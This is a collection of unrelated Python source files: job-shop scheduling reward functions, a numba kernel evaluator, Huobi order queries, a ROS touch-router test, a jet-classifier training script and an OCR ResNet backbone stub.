#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward2(self): # trial
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 110)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/20).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward3(self):
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 64)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/20).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward4(self):
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 20)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/40).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward5(self):
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 20)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position] # just for chosen one
critical_level_loser = np.delete(critical_level, self.position).mean() # average value
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])*critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean()*critical_level_loser\
- self.before_op_winq_chosen*critical_level_chosen) * 0.1
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/20).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward6(self):
slack = self.before_op_slack
#print(self.before_op_ttd, self.before_op_remaining_pt, critical_ratio, self.position, self.pt_chosen, self.current_pt)
critical_level = 1 - slack / (np.absolute(slack) + 200)
print(critical_level)
# get critical level for jobs
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position)
# calculate adjusted avoided slack consumption for the chosen job
avoided_slack_consumption_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
avoided_slack_consumption_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
slack_consumption_loser = (self.pt_chosen * critical_level_loser).mean()
# calculate the reward
print(critical_level, self.current_pt[:self.waiting_jobs-1], self.pt_chosen, self.position)
rwd = ((avoided_slack_consumption_chosen - slack_consumption_loser)/20).clip(-1,1)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward7(self):
slack = self.before_op_slack
#print(self.before_op_ttd, self.before_op_remaining_pt, critical_ratio, self.position, self.pt_chosen, self.current_pt)
critical_level = 1 - slack / (np.absolute(slack) + 25)
print(critical_level)
# get critical level for jobs
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position)
# calculate adjusted avoided slack consumption for the chosen job
avoided_slack_consumption_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
avoided_slack_consumption_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
slack_consumption_loser = (self.pt_chosen * critical_level_loser).mean()
# calculate the reward
print(critical_level, self.current_pt[:self.waiting_jobs-1], self.pt_chosen, self.position)
rwd = ((avoided_slack_consumption_chosen - slack_consumption_loser)/20).clip(-1,1)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward8(self):
slack = self.before_op_slack
#print(self.before_op_ttd, self.before_op_remaining_pt, critical_ratio, self.position, self.pt_chosen, self.current_pt)
critical_level = 1 - slack / (np.absolute(slack) + 64)
print(critical_level)
# get critical level for jobs
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position)
# calculate adjusted avoided slack consumption for the chosen job
avoided_slack_consumption_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
avoided_slack_consumption_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
slack_consumption_loser = (self.pt_chosen * critical_level_loser).mean()
# calculate the reward
print(critical_level, self.current_pt[:self.waiting_jobs-1], self.pt_chosen, self.position)
rwd = ((avoided_slack_consumption_chosen - slack_consumption_loser)/20).clip(-1,1)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward9(self): # adjust the slack consumption by critical ratio, for low hetero case
slack = self.before_op_slack
#print(self.before_op_ttd, self.before_op_remaining_pt, critical_ratio, self.position, self.pt_chosen, self.current_pt)
critical_level = 1 - slack / (np.absolute(slack) + 50)
print(critical_level)
# get critical level for jobs
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position)
# calculate adjusted avoided slack consumption for the chosen job
avoided_slack_consumption_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
avoided_slack_consumption_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
slack_consumption_loser = (self.pt_chosen * critical_level_loser).mean()
# calculate the reward
print(critical_level, self.current_pt[:self.waiting_jobs-1], self.pt_chosen, self.position)
rwd = ((avoided_slack_consumption_chosen - slack_consumption_loser)/20).clip(-1,1)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward10(self): # adjust the slack consumption by critical ratio, and clip the critical ratio of untrady jobs
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 50)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/20).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward11(self):
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 50)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/20).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward12(self): # trial
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 100)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/20).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward13(self):
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 64)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/20).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def get_reward14(self):
slack = self.before_op_slack
critical_level = 1 - slack / (np.absolute(slack) + 20)
# get critical level for jobs, chosen and loser, respectively
critical_level_chosen = critical_level[self.position]
critical_level_loser = np.delete(critical_level, self.position) # could be a vector or scalar
# calculate adjusted earned slack for the chosen job
earned_slack_chosen = np.mean(self.current_pt[:self.waiting_jobs-1])
earned_slack_chosen *= critical_level_chosen
# calculate the AVERAGE adjusted slack consumption for jobs that not been chosen
consumed_slack_loser = self.pt_chosen*critical_level_loser.mean()
# slack reward
rwd_slack = earned_slack_chosen - consumed_slack_loser
# WINQ reward
rwd_winq = (self.before_op_winq_loser.mean() - self.before_op_winq_chosen) * 0.2
# calculate the reward
#print(rwd_slack, rwd_winq)
rwd = ((rwd_slack + rwd_winq)/40).clip(-1,1)
# optional printout
#print(self.env.now,'slack and pt:', slack, critical_level, self.position, self.pt_chosen, self.current_pt[:self.waiting_jobs-1])
#print(self.env.now,'winq and reward:',self.before_op_winq_chosen, self.before_op_winq_loser, earned_slack_chosen, consumed_slack_loser)
#print(self.env.now,'reward:',rwd)
r_t = torch.tensor(rwd , dtype=torch.float)
return r_t
def add_global_reward_RA(self): # BASELINE RULE !!!
job_record = self.job_creator.production_record[self.job_idx]
path = job_record[1]
queued_time = np.array(job_record[2])
# if tardiness is non-zero and waiting time exists, machines in path get punishment
if self.tardiness and queued_time.sum():
global_reward = - np.clip(self.tardiness / 64,0,1)
reward = torch.ones(len(queued_time),dtype=torch.float)*global_reward
else:
reward = torch.ones(len(queued_time),dtype=torch.float)*0
#print(queued_time)
#print(self.tardiness,reward)
for i,m_idx in enumerate(path):
r_t = reward[i]
wc_idx = self.m_list[m_idx].wc_idx
try:
self.wc_list[wc_idx].incomplete_experience[self.job_idx].insert(2,r_t)
self.wc_list[wc_idx].rep_memo.append(self.wc_list[wc_idx].incomplete_experience.pop(self.job_idx))
except:
pass
| python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import division, print_function, absolute_import
import argparse
import logging
logging.basicConfig(
level='DEBUG', format='%(asctime)s|%(name)s|%(levelname)s|%(message)s')
logger = logging.getLogger(__name__)
def main(args):
logger.debug(args)
a = 10
import IPython; IPython.embed(); exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
main(parser.parse_args())
| python |
import numpy as np
import scipy as sp
import scipy.linalg
import numba
import time
from ..local_tree import LocalTree
import sys
def fake_print(*args, **kwargs):
pass
def myprint(*args, **kwargs):
print(*args, **kwargs)
sys.stdout.flush()
def get_print_function(verbose):
return myprint if verbose else fake_print
class LocalHelper(object):
def __init__(self, helper=None):
if helper is not None:
# load compiled functions
self.functions = helper.functions
# load specific things
self.load_specific(helper)
else:
self.functions = {}
def get_bbox(self, px, py, bbox):
if bbox is None:
bbox = [np.min(px), np.max(px), np.min(py), np.max(py)]
return bbox
def build_base_functions(self, Kernel_Add):
if 'kernel_add' not in self.functions:
self.functions['kernel_add'] = Kernel_Add
Kernel_Add = self.functions['kernel_add']
if 'kernel_add_single' not in self.functions:
@numba.njit(fastmath=True)
def kernel_add_single(sx, sy, tx, ty, tau, out):
for i in range(sx.size):
Kernel_Add(sx[i], sy[i], tx, ty, tau[i], out)
self.functions['kernel_add_single'] = kernel_add_single
@numba.njit(parallel=True, fastmath=True)
def kernel_add_single_check(sx, sy, tx, ty, tau, out):
for i in range(sx.size):
if not (tx - sx[i] == 0 and ty - sy[i] == 0):
Kernel_Add(sx[i], sy[i], tx, ty, tau[i], out)
self.functions['kernel_add_single_check'] = kernel_add_single_check
if 'kernel_apply_self' not in self.functions:
@numba.njit(parallel=True, fastmath=True)
def kernel_apply_self(sx, sy, tau, out):
out[:] = 0.0
for j in numba.prange(sx.size):
for i in range(sx.size):
if i != j:
Kernel_Add(sx[i], sy[i], sx[j], sy[j], tau[i], out[j])
self.functions['kernel_apply_self'] = kernel_apply_self
def register_neighbor_evaluator(self, kernel_add_single, name):
if name not in self.functions:
@numba.njit(parallel=True, fastmath=True)
def neighbor_evaluation(tx, ty, sx, sy, inds, locs, binds, tinds, colls, tauo, pot):
"""
Generic neighbor evalution
nt: number of targets
ns: number of sources
nL: number of levels
tx, f8[nt] - array of all target x values
ty, f8[nt] - array of all target y values
sx, f8[ns] - array of all source x values (ordered)
sy, f8[ns] - array of all source y values (ordered)
inds, i8[nt] - which level this target is in
locs, i8[nt] - location in level information for this target
binds, list[nL] - list of all lower indeces into source information
tinds, list[nL] - list of all upper indeces into source information
colls, list[nL] - list of all colleagues
tauo, *[ns] - density, ordered
pot, *[n_eval, nt] - potential
check, bool - whether to check for source/targ coincidences
"""
n_eval = pot.shape[0]
for i in numba.prange(tx.size):
x = tx[i]
y = ty[i]
ind = inds[i]
loc = locs[i]
cols = colls[ind][loc]
for j in range(9):
ci = cols[j]
if ci >= 0:
bind = binds[ind][ci]
tind = tinds[ind][ci]
if tind - bind > 0:
kernel_add_single(sx[bind:tind], sy[bind:tind], x, y, tauo[bind:tind], pot[i])
self.functions[name] = neighbor_evaluation
class LocalEvaluator(object):
def __init__(self, x, y, kernel_eval, min_distance, ncutoff=20, dtype=float, bbox=None, helper=LocalHelper(), verbose=False):
# store inputs
self.x = x
self.y = y
self.kernel_eval = kernel_eval
self.min_distance = min_distance
self.ncutoff = ncutoff
self.dtype = dtype
self.bbox = bbox
self.helper = helper
self.verbose = verbose
# get print function
self.print = get_print_function(self.verbose)
# reset bbox to be compatible with helper
self.bbox = self.helper.get_bbox(self.x, self.y, self.bbox)
# build the tree
self.build_tree()
# build basic functions
self.helper.build_base_functions(kernel_eval)
# register some useful neighbor evaluators
self.register_neighbor_evaluator(self.helper.functions['kernel_add_single'], 'neighbor_potential_target_evaluation')
self.register_neighbor_evaluator(self.helper.functions['kernel_add_single_check'], 'neighbor_potential_source_evaluation')
def build_tree(self):
st = time.time()
self.tree = LocalTree(self.x, self.y, self.min_distance, self.ncutoff, self.bbox)
tree_formation_time = (time.time() - st)*1000
self.print('....Tree formed in: {:0.1f}'.format(tree_formation_time))
def register_neighbor_evaluator(self, kernel_apply_single, name):
self.helper.register_neighbor_evaluator(kernel_apply_single, name)
def load_tau(self, tau):
self.tau = tau
self.tau_ordered = tau[self.tree.ordv]
def source_evaluation(self, x, y, out):
return self.evaluate_to_points(x, y, 'neighbor_potential_source_evaluation', out)
def target_evaluation(self, x, y, out):
return self.evaluate_to_points(x, y, 'neighbor_potential_target_evaluation', out)
def evaluate_to_points(self, x, y, name, out):
# since we're using only add functions, make sure out is 0...
out[:] = 0.0
# access the tree and appropriate evaluator
tree = self.tree
neighbor_evaluation = self.helper.functions[name]
# get level ind, level loc for the point (x, y)
inds, locs = tree.locate_points(x, y)
# evaluate interactions from neighbor cells to (x, y)
neighbor_evaluation(x, y, tree.x, tree.y, inds, locs, tree.bot_inds, tree.top_inds, tree.colleagues, self.tau_ordered, out)
| python |
from huobi.client.trade import TradeClient
from huobi.constant import *
from huobi.utils import *
symbol = "htusdt"
trade_client = TradeClient(api_key=g_api_key, secret_key=g_secret_key)
list_obj = trade_client.get_orders(symbol=symbol, order_state=OrderState.FILLED,
order_type=OrderType.BUY_LIMIT, start_date=None, end_date=None,
start_id=None, size=None, direct=QueryDirection.PREV)
LogInfo.output("===== step 1 ==== {symbol} {count} orders found".format(symbol=symbol, count=len(list_obj)))
LogInfo.output_list(list_obj)
symbol = "eosusdt"
list_obj = trade_client.get_orders(symbol=symbol, order_state=OrderState.CANCELED,
order_type=OrderType.BUY_LIMIT, start_date="2020-05-21", end_date=None,
start_id=None, size=None, direct=QueryDirection.PREV)
LogInfo.output("===== step 2 ==== {symbol} {count} canceled buy limit orders found".format(symbol=symbol, count=len(list_obj)))
LogInfo.output_list(list_obj)
list_obj = trade_client.get_orders(symbol=symbol, order_state=OrderState.FILLED,
order_type=None, start_date=None, end_date=None,
start_id=None, size=None, direct=QueryDirection.PREV)
LogInfo.output("===== step 3 ==== {symbol} {count} filled orders found".format(symbol=symbol, count=len(list_obj)))
LogInfo.output_list(list_obj)
| python |
print("/" * 51) | python |
#!/usr/bin/env python3
PKG = 'lg_mirror'
NAME = 'test_touch_router'
import os
import rospy
import unittest
from lg_mirror.constants import MIRROR_ACTIVITY_TYPE
from lg_msg_defs.msg import StringArray
from interactivespaces_msgs.msg import GenericMessage
from lg_common.test_helpers import gen_touch_window
from lg_common.test_helpers import gen_scene
from lg_common.test_helpers import gen_scene_msg
GRACE_DELAY = 0.5 # seconds
TEST_DEFAULT_VIEWPORT = os.environ.get('TEST_VIEWPORT')
EXPECTED_DEFAULT_MSG = [] if TEST_DEFAULT_VIEWPORT is None else [TEST_DEFAULT_VIEWPORT]
class RouteReceiver:
def __init__(self):
self.msgs = []
def handle_msg(self, msg):
self.msgs.append(msg)
class TestTouchRouter(unittest.TestCase):
def setUp(self):
self.receiver = RouteReceiver()
self.director_receiver = RouteReceiver()
rospy.Subscriber(
'/lg_mirror/default/active_routes',
StringArray,
self.receiver.handle_msg
)
rospy.Subscriber(
'/director/scene',
GenericMessage,
self.director_receiver.handle_msg
)
self.scene_pub = rospy.Publisher('/director/scene', GenericMessage, queue_size=10)
def expect_default(self, msg):
"""Helper for when we want to check that a message is the default value."""
def test_init_latch(self):
rospy.sleep(GRACE_DELAY + 3)
self.assertGreaterEqual(len(self.receiver.msgs), 1)
msg = self.receiver.msgs[-1]
self.assertEqual(EXPECTED_DEFAULT_MSG, msg.strings)
def test_no_route(self):
window = gen_touch_window(False, 'not_the_default', target=TEST_DEFAULT_VIEWPORT, activity=MIRROR_ACTIVITY_TYPE)
scene = gen_scene([window])
scene_msg = gen_scene_msg(scene)
self.scene_pub.publish(scene_msg)
rospy.sleep(GRACE_DELAY)
self.assertEqual(1, len(self.receiver.msgs))
msg = self.receiver.msgs[-1]
self.assertEqual(EXPECTED_DEFAULT_MSG, msg.strings)
def test_one_route(self):
window0 = gen_touch_window(True, 'not_the_default', target=TEST_DEFAULT_VIEWPORT, activity=MIRROR_ACTIVITY_TYPE)
window1 = gen_touch_window(False, 'also_not_the_default', target=TEST_DEFAULT_VIEWPORT, activity=MIRROR_ACTIVITY_TYPE)
scene = gen_scene([window0, window1])
scene_msg = gen_scene_msg(scene)
self.scene_pub.publish(scene_msg)
rospy.sleep(GRACE_DELAY)
self.assertEqual(1, len(self.receiver.msgs))
msg = self.receiver.msgs[-1]
self.assertEqual(1, len(msg.strings))
self.assertTrue('not_the_default' in msg.strings)
def test_two_routes(self):
window0 = gen_touch_window(True, 'not_the_default', target=TEST_DEFAULT_VIEWPORT, activity=MIRROR_ACTIVITY_TYPE)
window1 = gen_touch_window(True, 'also_not_the_default', target=TEST_DEFAULT_VIEWPORT, activity=MIRROR_ACTIVITY_TYPE)
scene = gen_scene([window0, window1])
scene_msg = gen_scene_msg(scene)
self.scene_pub.publish(scene_msg)
rospy.sleep(GRACE_DELAY)
self.assertEqual(1, len(self.receiver.msgs))
msg = self.receiver.msgs[-1]
self.assertEqual(2, len(msg.strings))
self.assertTrue('not_the_default' in msg.strings)
self.assertTrue('also_not_the_default' in msg.strings)
def test_reset(self):
window = gen_touch_window(True, 'not_the_default', target=TEST_DEFAULT_VIEWPORT, activity=MIRROR_ACTIVITY_TYPE)
scene = gen_scene([window])
scene_msg = gen_scene_msg(scene)
self.scene_pub.publish(scene_msg)
rospy.sleep(GRACE_DELAY)
self.assertEqual(1, len(self.receiver.msgs))
msg = self.receiver.msgs[-1]
self.assertEqual(1, len(msg.strings))
self.assertTrue('not_the_default' in msg.strings)
window = gen_touch_window(False, 'also_not_the_default', target=TEST_DEFAULT_VIEWPORT, activity='not_mirror')
scene = gen_scene([window])
scene_msg = gen_scene_msg(scene)
self.scene_pub.publish(scene_msg)
rospy.sleep(GRACE_DELAY)
self.assertEqual(2, len(self.receiver.msgs))
msg = self.receiver.msgs[-1]
self.assertEqual(EXPECTED_DEFAULT_MSG, msg.strings)
if __name__ == '__main__':
import rostest
rospy.init_node(NAME)
rostest.rosrun(PKG, NAME, TestTouchRouter)
| python |
import autograd as ag
import click
import copy
import numpy as np
import logging
import pickle
from sklearn.model_selection import train_test_split
from sklearn.metrics import roc_auc_score
from sklearn.preprocessing import RobustScaler
from sklearn.utils import check_random_state
from recnn.preprocessing import rewrite_content
from recnn.preprocessing import permute_by_pt
from recnn.preprocessing import extract
from recnn.recnn import log_loss
from recnn.recnn import adam
from recnn.recnn import grnn_init_simple
from recnn.recnn import grnn_predict_simple
from recnn.recnn import grnn_init_gated
from recnn.recnn import grnn_predict_gated
logging.basicConfig(level=logging.INFO,
format="[%(asctime)s %(levelname)s] %(message)s")
@click.command()
@click.argument("filename_train")
@click.argument("filename_model")
@click.option("--n_events_train", default=-1)
@click.option("--simple", is_flag=True, default=False)
@click.option("--n_features", default=7)
@click.option("--n_hidden", default=40)
@click.option("--n_epochs", default=20)
@click.option("--batch_size", default=64)
@click.option("--step_size", default=0.0005)
@click.option("--decay", default=0.9)
@click.option("--random_state", default=1)
def train(filename_train,
filename_model,
n_events_train=-1,
simple=False,
n_features=7,
n_hidden=30,
n_epochs=5,
batch_size=64,
step_size=0.01,
decay=0.7,
random_state=1):
# Initialization
gated = not simple
logging.info("Calling with...")
logging.info("\tfilename_train = %s" % filename_train)
logging.info("\tfilename_model = %s" % filename_model)
logging.info("\tn_events_train = %d" % n_events_train)
logging.info("\tgated = %s" % gated)
logging.info("\tn_features = %d" % n_features)
logging.info("\tn_hidden = %d" % n_hidden)
logging.info("\tn_epochs = %d" % n_epochs)
logging.info("\tbatch_size = %d" % batch_size)
logging.info("\tstep_size = %f" % step_size)
logging.info("\tdecay = %f" % decay)
logging.info("\trandom_state = %d" % random_state)
rng = check_random_state(random_state)
# Make data
logging.info("Loading data...")
fd = open(filename_train, "rb")
X, y = pickle.load(fd)
fd.close()
y = np.array(y)
if n_events_train > 0:
indices = check_random_state(123).permutation(len(X))[:n_events_train]
X = [X[i] for i in indices]
y = y[indices]
logging.info("\tfilename = %s" % filename_train)
logging.info("\tX size = %d" % len(X))
logging.info("\ty size = %d" % len(y))
# Preprocessing
logging.info("Preprocessing...")
X = [extract(permute_by_pt(rewrite_content(jet))) for jet in X]
tf = RobustScaler().fit(np.vstack([jet["content"] for jet in X]))
for jet in X:
jet["content"] = tf.transform(jet["content"])
# Split into train+validation
logging.info("Splitting into train and validation...")
X_train, X_valid, y_train, y_valid = train_test_split(X, y,
test_size=5000,
random_state=rng)
# Training
logging.info("Training...")
if gated:
predict = grnn_predict_gated
init = grnn_init_gated
else:
predict = grnn_predict_simple
init = grnn_init_simple
trained_params = init(n_features, n_hidden, random_state=rng)
n_batches = int(np.ceil(len(X_train) / batch_size))
best_score = [-np.inf] # yuck, but works
best_params = [trained_params]
def loss(X, y, params):
y_pred = predict(params, X)
l = log_loss(y, y_pred).mean()
return l
def objective(params, iteration):
rng = check_random_state(iteration % n_batches)
start = rng.randint(len(X_train) - batch_size)
idx = slice(start, start+batch_size)
return loss(X_train[idx], y_train[idx], params)
def callback(params, iteration, gradient):
if iteration % 25 == 0:
roc_auc = roc_auc_score(y_valid, predict(params, X_valid))
if roc_auc > best_score[0]:
best_score[0] = roc_auc
best_params[0] = copy.deepcopy(params)
fd = open(filename_model, "wb")
pickle.dump(best_params[0], fd)
fd.close()
logging.info(
"%5d\t~loss(train)=%.4f\tloss(valid)=%.4f"
"\troc_auc(valid)=%.4f\tbest_roc_auc(valid)=%.4f" % (
iteration,
loss(X_train[:5000], y_train[:5000], params),
loss(X_valid, y_valid, params),
roc_auc,
best_score[0]))
for i in range(n_epochs):
logging.info("epoch = %d" % i)
logging.info("step_size = %.4f" % step_size)
trained_params = adam(ag.grad(objective),
trained_params,
step_size=step_size,
num_iters=1 * n_batches,
callback=callback)
step_size = step_size * decay
if __name__ == "__main__":
train()
| python |
# Copyright (c) OpenMMLab. All rights reserved.
import torch.nn as nn
from mmcv.runner import BaseModule, Sequential
import mmocr.utils as utils
from mmocr.models.builder import BACKBONES
from mmocr.models.textrecog.layers import BasicBlock
@BACKBONES.register_module()
class ResNetABI(BaseModule):
"""Implement ResNet backbone for text recognition, modified from `ResNet.
<https://arxiv.org/pdf/1512.03385.pdf>`_ and
`<https://github.com/FangShancheng/ABINet>`_
Args:
in_channels (int): Number of channels of input image tensor.
stem_channels (int): Number of stem channels.
base_channels (int): Number of base channels.
arch_settings (list[int]): List of BasicBlock number for each stage.
strides (Sequence[int]): Strides of the first block of each stage.
out_indices (None | Sequence[int]): Indices of output stages. If not
specified, only the last stage will be returned.
last_stage_pool (bool): If True, add `MaxPool2d` layer to last stage.
"""
def __init__(self,
in_channels=3,
stem_channels=32,
base_channels=32,
arch_settings=[3, 4, 6, 6, 3],
strides=[2, 1, 2, 1, 1],
out_indices=None,
last_stage_pool=False,
init_cfg=[
dict(type='Xavier', layer='Conv2d'),
dict(type='Constant', val=1, layer='BatchNorm2d')
]):
